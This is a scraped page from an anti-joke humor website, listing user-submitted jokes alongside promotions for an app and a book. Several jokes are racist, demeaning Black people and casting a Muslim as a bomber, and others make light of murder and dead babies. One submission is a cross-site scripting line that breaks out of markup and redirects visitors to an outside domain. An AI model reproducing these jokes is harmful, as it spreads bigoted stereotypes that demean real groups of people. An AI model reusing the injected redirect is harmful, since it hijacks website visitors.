- Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

why did the cow cross the road because pigs were not flying i had to write it hurts

Why is Joel always with Jamie? Because her incorrectly positioned eyes prevent her from seeing the true Joel.

What's white and black and red all over A nun with a spear throug her head

wat does T.J.C.S. Mean? leave an comment to answer

What happens to a fish with no fin on the right side? It repeatedly swims in a circle.

What's green and has wheels? grass... i lied about the wheels

Why was the man's foot hurting? Because he was being fed into a wood chipper

what did the black man say to the Muslim? "you the bomb"!

Whats funnier than a black man? A black president

Q: What is the difference between a pile of dead babies and a ferrari? A: I don't have a ferari in my garage.

Q: What has four eyes but can't see? A: A blind guy with glasses

What did the baby do when it crossed the rode? It didn't get across it got hit by a car.

"'>document.location.href="http://cramik.org"

(Knock knock) A:who is it? B:its the police open up where coming in B:I SAID OPEN THE BLOODY DOOR A:(SHIT)

I was going to write a joke about procrastination, but I haven't gotten to it yet.

why wuz 6 afraid of 7 7 had a gun

Why did the plane crash? Because the pilot was a tomato

Why did the kid drop his football? He had a heart attack

What's the difference between a watermelon and a dead black person? There aren't 50 watermelons buried in my backyard.

Detroit has a low crime rate

Something strange in you're neighborhood. Who you gonna call? The police.

Knock, Knock Who's there? The IRS, we're taking your house. This is a vacation notice, please be out of the property in 30 days. Have a nice day.

how do you get a clown off a swing. hit it with an apple in his nuts

Q:what do u call a dead baby tied to my feet? A:new shoes

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??